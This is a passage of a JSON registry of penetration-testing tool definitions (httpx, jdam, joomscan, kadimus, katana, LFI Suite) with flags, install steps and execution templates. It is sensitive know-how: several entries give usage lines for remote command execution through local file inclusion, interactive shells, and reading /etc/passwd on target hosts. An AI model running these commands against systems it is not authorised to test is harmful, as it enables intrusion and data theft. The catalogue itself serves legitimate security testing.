        "command": "cat live-hosts.txt | httpx -favicon -status-code -title"
      },
      {
        "description": "Probe and follow redirects",
        "command": "cat urls.txt | httpx -status-code -location -follow-redirects"
      },
      {
        "description": "Probe with technology detection",
        "command": "httpx -l urls.txt -tech-detect -json -o results.json"
      }
    ],
    "execution": {
      "template": "httpx {flags} {target}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "id": "security-web-httpx",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/projectdiscovery/httpx/cmd/httpx",
        "commands": [
          "go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "httpx",
    "namespace": "security:web:httpx",
    "parameters": [
      {
        "name": "list",
        "type": "string",
        "required": false,
        "description": "File containing list of URLs or hosts",
        "aliases": [
          "-l",
          "--list"
        ],
        "flag": "-l"
      },
      {
        "name": "target",
        "type": "string",
        "required": false,
        "description": "Single target URL or host",
        "aliases": [
          "-t",
          "--target"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-sc",
        "type": "boolean",
        "required": false,
        "description": "Include status code in output",
        "aliases": [
          "-sc",
          "--status-code"
        ],
        "flag": "-sc"
      },
      {
        "name": "flag-ct",
        "type": "boolean",
        "required": false,
        "description": "Include content type in output",
        "aliases": [
          "-ct",
          "--content-type"
        ],
        "flag": "-ct"
      },
      {
        "name": "flag-location",
        "type": "boolean",
        "required": false,
        "description": "Include redirect location in output",
        "aliases": [
          "-location"
        ],
        "flag": "-location"
      },
      {
        "name": "flag-favicon",
        "type": "boolean",
        "required": false,
        "description": "Extract favicon hash for identifying services",
        "aliases": [
          "-favicon"
        ],
        "flag": "-favicon"
      },
      {
        "name": "flag-title",
        "type": "boolean",
        "required": false,
        "description": "Extract page title",
        "alises": [
          "-title"
        ]
      },
      {
        "name": "flag-tech-detect",
        "type": "boolean",
        "required": false,
        "description": "Enable technology detection using wappalyzer",
        "aliases": [
          "-tech-detect"
        ],
        "flag": "-tech-detect"
      },
      {
        "name": "flag-json",
        "type": "boolean",
        "required": false,
        "description": "Output as JSON lines",
        "aliases": [
          "-json"
        ],
        "flag": "-json"
      },
      {
        "name": "flag-threads",
        "type": "integer",
        "required": false,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-probe",
        "type": "boolean",
        "required": false,
        "description": "Probe hosts for HTTP/HTTPS",
        "aliases": [
          "-probe"
        ],
        "flag": "-probe"
      },
      {
        "name": "flag-o",
        "type": "string",
        "required": false,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-follow-redirects",
        "type": "boolean",
        "required": false,
        "description": "Follow redirects",
        "aliases": [
          "-follow-redirects"
        ],
        "flag": "-follow-redirects"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "httpx GitHub",
        "url": "https://github.com/projectdiscovery/httpx"
      },
      {
        "label": "httpx Documentation",
        "url": "https://docs.projectdiscovery.io/tools/httpx"
      }
    ],
    "related_tools": [
      "nuclei",
      "katana",
      "subfinder",
      "ffuf"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "HTTP",
      "HTTPS"
    ],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "live-hosts",
        "tech-stack",
        "response-headers"
      ],
      "consumes": [
        "target-url",
        "host-list"
      ]
    }
  },
  {
    "_body": "\n# Jdam — JSON Fuzzer\n\nJdam is a JSON fuzzer for testing REST APIs and JSON endpoints. It sends malformed, mutated, and edge-case JSON payloads to detect input validation issues, schema bypasses, and injection vulnerabilities in API implementations.\n\n## Usage\n\n```bash\n# Basic fuzzing\njdam -u https://api.target.com/users -d '{\"id\":1,\"name\":\"test\"}'\n\n# POST method\njdam -X POST -u https://api.target.com/create -d '{\"title\":\"test\"}'\n\n# Through proxy\njdam -u https://api.target.com/endpoint -p http://127.0.0.1:8080\n\n# Custom auth header\njdam -u https://api.target.com/admin -d '{\"role\":\"user\"}' -H \"Authorization: Bearer token\"\n```\n",
    "_source": "jdam.md",
    "allowed-tools": [
      "jdam",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "api.fuzz.report",
        "description": "JSON fuzzing results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "api.fuzz.json",
      "api.test.validation",
      "api.discovery.endpoint"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target API endpoint URL"
        },
        {
          "type": "api.schema.json",
          "description": "JSON schema for structure-aware fuzzing"
        }
      ],
      "outputs": [
        {
          "type": "api.fuzz.report",
          "description": "Fuzzing results with findings",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "JSON fuzzer that tests REST APIs and JSON endpoints for input validation vulnerabilities, schema bypass, and injection flaws.",
    "examples": [
      {
        "description": "Basic JSON fuzzing",
        "command": "jdam -u https://api.example.com/endpoint -d '{\"key\":\"value\"}'"
      },
      {
        "description": "POST request with multiple headers",
        "command": "jdam -X POST -u https://api.example.com/submit -d '{\"name\":\"test\"}' -H \"Authorization: Bearer token\""
      },
      {
        "description": "Fuzz through a proxy",
        "command": "jdam -u https://api.example.com/endpoint -p http://127.0.0.1:8080"
      }
    ],
    "execution": {
      "template": "jdam {flag-method} {flag-header} {flag-cookie} {flag-threads} {flag-proxy} {flag-timeout} {flag-data} -u {url}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "output-json",
      "stealth"
    ],
    "id": "security-web-jdam",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/icebearr/JDAM.git",
        "commands": [
          "git clone https://github.com/icebearr/JDAM.git"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "jdam",
    "namespace": "security:web:jdam",
    "parameters": [
      {
        "name": "url",
        "type": "string",
        "required": true,
        "description": "Target API endpoint URL",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-method",
        "type": "string",
        "required": false,
        "description": "HTTP method (GET, POST, PUT, PATCH)",
        "aliases": [
          "-X",
          "--method"
        ],
        "flag": "-X"
      },
      {
        "name": "flag-data",
        "type": "string",
        "required": false,
        "description": "Base JSON data for fuzzing",
        "aliases": [
          "-d",
          "--data"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-header",
        "type": "string",
        "required": false,
        "description": "Custom HTTP header",
        "aliases": [
          "-H",
          "--header"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-cookie",
        "type": "string",
        "required": false,
        "description": "HTTP Cookie header",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "flag-threads",
        "type": "integer",
        "required": false,
        "description": "Number of threads",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-proxy",
        "type": "string",
        "required": false,
        "description": "HTTP proxy",
        "aliases": [
          "-p",
          "--proxy"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-timeout",
        "type": "integer",
        "required": false,
        "description": "Request timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Jdam GitHub",
        "url": "https://github.com/FSecureLABS/Jdam"
      }
    ],
    "related_tools": [
      "burpsuite",
      "ffuf",
      "wfuzz",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "execution",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "fuzz-results",
        "vulnerable-endpoints"
      ],
      "consumes": [
        "target-url",
        "json-schema"
      ]
    }
  },
  {
    "_body": "\n# Joomscan — Joomla CMS Vulnerability Scanner\n\nJoomscan is a specialized vulnerability scanner for Joomla CMS that detects the core version, installed components, known vulnerabilities, and security misconfigurations.\n\n## Basic Usage\n\n```bash\n# Basic scan\njoomscan -u http://target.com/joomla\n\n# Scan with proxy through Burp Suite\njoomscan -u http://target.com/joomla --proxy http://127.0.0.1:8080\n\n# Authenticated scan\njoomscan -u http://target.com/joomla --cookie \"session=abc123\"\n\n# Save HTML report\njoomscan -u http://target.com/joomla -o report.html\n```\n\n## Key Features\n\n- **Version fingerprinting**: Detects Joomla core and extension versions\n- **Vulnerability database**: Checks against known CVE database\n- **Component enumeration**: Lists installed third-party components\n- **Security checks**: Detects common misconfigurations and sensitive files\n",
    "_source": "joomscan.md",
    "allowed-tools": [
      "joomscan",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "report.json",
        "description": "Scan results as JSON",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "report.html",
        "description": "HTML-formatted scan report",
        "mime": "text/html",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.asset",
      "web.fingerprint.cms",
      "web.vulnerability.scanner",
      "web.enumeration.component"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target Joomla URL to scan"
        },
        {
          "type": "web.target.cookie",
          "description": "Session cookie for authenticated scanning"
        },
        {
          "type": "network.proxy",
          "description": "HTTP proxy for routing traffic"
        }
      ],
      "outputs": [
        {
          "type": "report.json",
          "description": "Joomscan scan report as JSON",
          "mime": "application/json"
        },
        {
          "type": "report.html",
          "description": "Joomscan scan report as HTML",
          "mime": "text/html"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Joomla CMS vulnerability scanner that detects component versions, known vulnerabilities, and security misconfigurations.",
    "examples": [
      {
        "description": "Basic Joomla scan",
        "command": "joomscan -u http://target.com/joomla"
      },
      {
        "description": "Scan with authenticated cookie",
        "command": "joomscan -u http://target.com/joomla --cookie \"session=abc123\""
      },
      {
        "description": "Scan using proxy with verbose output",
        "command": "joomscan -u http://target.com/joomla --proxy http://127.0.0.1:8080 -v"
      },
      {
        "description": "Save scan report to file",
        "command": "joomscan -u http://target.com/joomla -o report.html"
      },
      {
        "description": "Multi-threaded scan",
        "command": "joomscan -u http://target.com/joomla -t 20"
      }
    ],
    "execution": {
      "template": "joomscan -u {target}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "security-web-joomscan",
    "install": [
      {
        "method": "apt",
        "package_name": "joomscan",
        "commands": [
          "apt-get install -y joomscan"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "joomscan",
    "namespace": "security:web:joomscan",
    "parameters": [
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP cookie for authenticated scanning",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "follow-redirects",
        "template_key": "follow-redirects",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Follow HTTP redirects",
        "aliases": [
          "--follow-redirects"
        ],
        "flag": "--follow-redirects"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "Show this help message",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "no-check-certificate",
        "template_key": "no-check-certificate",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Skip SSL certificate validation",
        "aliases": [
          "--no-check-certificate"
        ],
        "flag": "--no-check-certificate"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Save scan report to file",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP proxy address",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Number of threads for concurrent scanning",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": 30,
        "description": "Request timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target Joomla URL",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "user-agent",
        "template_key": "user-agent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom User-Agent header",
        "aliases": [
          "--user-agent"
        ],
        "flag": "--user-agent"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "Show version information",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "OWASP Joomla Vulnerability Scanner",
        "url": "https://github.com/rezasp/joomscan"
      },
      {
        "label": "Joomscan on Kali",
        "url": "https://www.kali.org/tools/joomscan/"
      }
    ],
    "related_tools": [
      "wpscan",
      "cmsmap",
      "whatweb"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "recon",
      "enumeration",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "cms-fingerprint",
        "vulnerability-list",
        "component-list"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# Kadimus — LFI Scanning and Exploitation\n\nKadimus is a C-based tool for detecting and exploiting Local File Inclusion (LFI) vulnerabilities. It supports file reading, remote command execution via log poisoning and /proc/self/environ techniques, and automated scanning.\n\n## Usage\n\n```bash\n# Basic scan\nkadimus -u \"http://target.com/page.php?file=test\"\n\n# Execute command via LFI\nkadimus -u \"http://target.com/page.php?file=test\" -C \"whoami\"\n\n# POST request\nkadimus -u \"http://target.com/page.php\" -d \"file=test\" -C \"id\"\n```\n",
    "_source": "kadimus.md",
    "allowed-tools": [
      "kadimus",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.lfi.output",
        "description": "LFI exploitation output",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "web.lfi.shell",
        "description": "Remote shell access",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation",
      "Execution"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.lfi.scan",
      "web.lfi.exploit",
      "web.lfi.rce",
      "web.lfi.read-file"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL with file parameter"
        }
      ],
      "outputs": [
        {
          "type": "web.lfi.output",
          "description": "Read file content or command output",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "libcurl",
      "libpcre"
    ],
    "description": "LFI (Local File Inclusion) scanning and exploitation tool that detects file inclusion vulnerabilities and leverages them for RCE and file reading.",
    "examples": [
      {
        "description": "Basic LFI scan",
        "command": "kadimus -u \"http://example.com/page.php?file=test\""
      },
      {
        "description": "Execute command via LFI",
        "command": "kadimus -u \"http://example.com/page.php?file=test\" -C \"id\""
      },
      {
        "description": "Scan for LFI parameters",
        "command": "kadimus -u \"http://example.com/page.php?file=test\" -s"
      }
    ],
    "execution": {
      "template": "kadimus {flag-scan} {flag-parameter} {flag-command} {flag-data} {flag-cookie} {flag-user-agent} {flag-proxy} -u {url}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive"
    ],
    "id": "security-web-kadimus",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/P0cL4bs/kadimus.git",
        "commands": [
          "git clone https://github.com/P0cL4bs/kadimus.git"
        ]
      }
    ],
    "items": [
      "Shell",
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "kadimus",
    "namespace": "security:web:kadimus",
    "parameters": [
      {
        "name": "url",
        "type": "string",
        "required": true,
        "description": "Target URL with injection parameter",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-parameter",
        "type": "string",
        "required": false,
        "description": "Parameter name to test",
        "aliases": [
          "-p",
          "--parameter"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-command",
        "type": "string",
        "required": false,
        "description": "Command to execute via LFI",
        "aliases": [
          "-C",
          "--command"
        ],
        "flag": "-C"
      },
      {
        "name": "flag-scan",
        "type": "boolean",
        "required": false,
        "description": "Scan mode - discover possible LFI parameters",
        "aliases": [
          "-s",
          "--scan"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-data",
        "type": "string",
        "required": false,
        "description": "POST data string",
        "aliases": [
          "-d",
          "--data"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-cookie",
        "type": "string",
        "required": false,
        "description": "HTTP Cookie header",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "flag-user-agent",
        "type": "string",
        "required": false,
        "description": "Custom User-Agent",
        "aliases": [
          "-A",
          "--user-agent"
        ],
        "flag": "-A"
      },
      {
        "name": "flag-proxy",
        "type": "string",
        "required": false,
        "description": "HTTP proxy",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Kadimus GitHub",
        "url": "https://github.com/P0cL4bs/Kadimus"
      }
    ],
    "related_tools": [
      "commix",
      "tplmap",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "execution",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "lfi-scan-results",
        "remote-access"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# Katana — Web Crawler and Spider\n\nKatana is a fast web crawler from ProjectDiscovery designed for discovering endpoints, JavaScript sources, and hidden assets. It supports both standard HTTP crawling and headless browser-based crawling for JavaScript-heavy applications.\n\n## Basic Usage\n\n```bash\n# Basic crawl\nkatana -u http://target.com\n\n# Deep crawl with JS parsing\nkatana -u http://target.com -d 5 -jc\n\n# Output as JSON\nkatana -u http://target.com -oJ -o crawl.json\n\n# Crawl with rate limiting\nkatana -u http://target.com -rl 50 -t 5\n```\n\n## Crawl Modes\n\n| Mode | Flag | Description |\n|------|------|-------------|\n| Standard | (default) | HTTP-based crawling |\n| JS Crawl | `-jc` | Parse JavaScript for URLs |\n| Headless | (default) | Headless browser for JS-heavy sites |\n| Form Fill | `-aff` | Auto-fill forms during crawl |\n",
    "_source": "katana.md",
    "allowed-tools": [
      "katana",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "crawl.json",
        "description": "Crawl results as JSON lines",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "crawl.txt",
        "description": "Crawl results as text output",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.endpoint",
      "web.crawl.spider",
      "web.enumeration.asset",
      "web.discovery.js-source"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL to crawl"
        },
        {
          "type": "web.target.domain",
          "description": "Target domain to scope the crawl"
        },
        {
          "type": "web.crawl.depth",
          "description": "Maximum crawl depth"
        }
      ],
      "outputs": [
        {
          "type": "crawl.json",
          "description": "Discovered endpoints as JSON",
          "mime": "application/json"
        },
        {
          "type": "crawl.txt",
          "description": "Discovered endpoints as text",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast web crawler and spider from ProjectDiscovery for discovering endpoints, assets, and attack surface.",
    "examples": [
      {
        "description": "Basic crawl with default depth",
        "command": "katana -u http://target.com"
      },
      {
        "description": "Deep crawl with JavaScript parsing",
        "command": "katana -u http://target.com -d 5 -jc"
      },
      {
        "description": "Filter by specific extensions",
        "command": "katana -u http://target.com -em php,asp,js"
      },
      {
        "description": "Output crawled URLs as JSON",
        "command": "katana -u http://target.com -oJ -o endpoints.json"
      },
      {
        "description": "Crawl with proxy and rate limiting",
        "command": "katana -u http://target.com -p http://127.0.0.1:8080 -rl 50"
      },
      {
        "description": "Silent mode with filtered status codes",
        "command": "katana -u http://target.com -silent -sc 200,302"
      }
    ],
    "execution": {
      "template": "katana -u {target} -d {depth}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "global_vars": {
      "target": "url",
      "depth": "3"
    },
    "id": "security-web-katana",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/projectdiscovery/katana/cmd/katana",
        "commands": [
          "go install -v github.com/projectdiscovery/katana/cmd/katana@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "katana",
    "namespace": "security:web:katana",
    "parameters": [
      {
        "name": "aff",
        "type": "boolean",
        "required": false,
        "description": "forms",
        "aliases": [
          "-aff",
          "--automatic-form-fill",
          "-fill"
        ],
        "flag": "-aff"
      },
      {
        "name": "ct",
        "type": "boolean",
        "required": false,
        "description": "TYPE      Content type filter",
        "aliases": [
          "-ct",
          "--content-type"
        ],
        "flag": "-ct"
      },
      {
        "name": "depth",
        "template_key": "depth",
        "type": "integer",
        "required": false,
        "default_value": 3,
        "description": "Maximum crawl depth",
        "aliases": [
          "-d",
          "--depth"
        ],
        "flag": "-d"
      },
      {
        "name": "extension-filter",
        "template_key": "extension-filter",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter out URLs matching extensions",
        "aliases": [
          "-ef",
          "--extension-filter"
        ],
        "flag": "-ef"
      },
      {
        "name": "extension-match",
        "template_key": "extension-match",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Only crawl URLs matching extensions",
        "aliases": [
          "-em",
          "--extension-match"
        ],
        "flag": "-em"
      },
      {
        "name": "field",
        "template_key": "field",
        "type": "string",
        "required": false,
        "default_value": "url",
        "description": "Fields to display in output",
        "aliases": [
          "-f",
          "--field"
        ],
        "flag": "-f"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "-H",
          "--headers"
        ],
        "flag": "-H"
      },
      {
        "name": "insecure",
        "template_key": "insecure",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Skip TLS certificate verification",
        "aliases": [
          "-k",
          "--insecure"
        ],
        "flag": "-k"
      },
      {
        "name": "js-crawl",
        "template_key": "js-crawl",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable JavaScript parsing and crawling",
        "aliases": [
          "-jc",
          "--js-crawl"
        ],
        "flag": "-jc"
      },
      {
        "name": "json",
        "template_key": "json",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Write output in JSON lines format",
        "aliases": [
          "-oJ",
          "--json"
        ],
        "flag": "-oJ"
      },
      {
        "name": "known-files",
        "template_key": "known-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Check for known files (robots.txt, sitemap.xml)",
        "aliases": [
          "-kf",
          "--known-files"
        ],
        "flag": "-kf"
      },
      {
        "name": "mrs",
        "type": "boolean",
        "required": false,
        "description": "N   Max response size (default: 5242880)",
        "aliases": [
          "-mrs",
          "--max-response-size"
        ],
        "flag": "-mrs"
      },
      {
        "name": "nh",
        "type": "boolean",
        "required": false,
        "description": "Disable headless",
        "aliases": [
          "-nh",
          "--no-headless"
        ],
        "flag": "-nh"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Write output to file",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP proxy address",
        "aliases": [
          "-p",
          "--proxy"
        ],
        "flag": "-p"
      },
      {
        "name": "rate-limit",
        "template_key": "rate-limit",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum requests per second",
        "aliases": [
          "-rl",
          "--rate-limit"
        ],
        "flag": "-rl"
      },
      {
        "name": "status-code",
        "template_key": "status-code",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter by status code",
        "aliases": [
          "-sc",
          "--status-code"
        ],
        "flag": "-sc"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL to crawl",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "Verbose mode",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Katana GitHub",
        "url": "https://github.com/projectdiscovery/katana"
      },
      {
        "label": "ProjectDiscovery Katana",
        "url": "https://projectdiscovery.io/tools/katana"
      }
    ],
    "related_tools": [
      "gospider",
      "hakrawler",
      "aquatone"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "discovery",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "endpoint-list",
        "url-list",
        "js-files",
        "known-files"
      ],
      "consumes": [
        "target-url",
        "target-domain"
      ]
    }
  },
  {
    "_body": "\n# LFI Suite — Local File Inclusion Exploitation Suite\n\nLFI Suite is a Python-based tool for detecting and exploiting Local File Inclusion vulnerabilities. It supports multiple PHP wrapper techniques, log poisoning for RCE, reverse shell generation, and automated exploitation.\n\n## Usage\n\n```bash\n# Basic scan\npython3 lfi.py -t \"http://target.com/page.php?file=test\"\n\n# Execute command\npython3 lfi.py -t \"http://target.com/page.php?file=test\" --os-cmd \"id\"\n\n# Interactive shell\npython3 lfi.py -t \"http://target.com/page.php?file=test\" --shell\n\n# Read specific file\npython3 lfi.py -t \"http://target.com/page.php?file=test\" --read-file /etc/passwd\n```\n",
    "_source": "lfi-suite.md",
    "allowed-tools": [
      "lfi-suite",
      "lfi.py",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.lfi.output",
        "description": "LFI exploitation results",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "web.lfi.shell",
        "description": "Remote shell access",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation",
      "Execution"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.lfi.scan",
      "web.lfi.exploit",
      "web.lfi.rce",
      "web.lfi.read-file",
      "web.lfi.php-wrapper"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL with file parameter"
        }
      ],
      "outputs": [
        {
          "type": "web.lfi.output",
          "description": "File content or command output",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
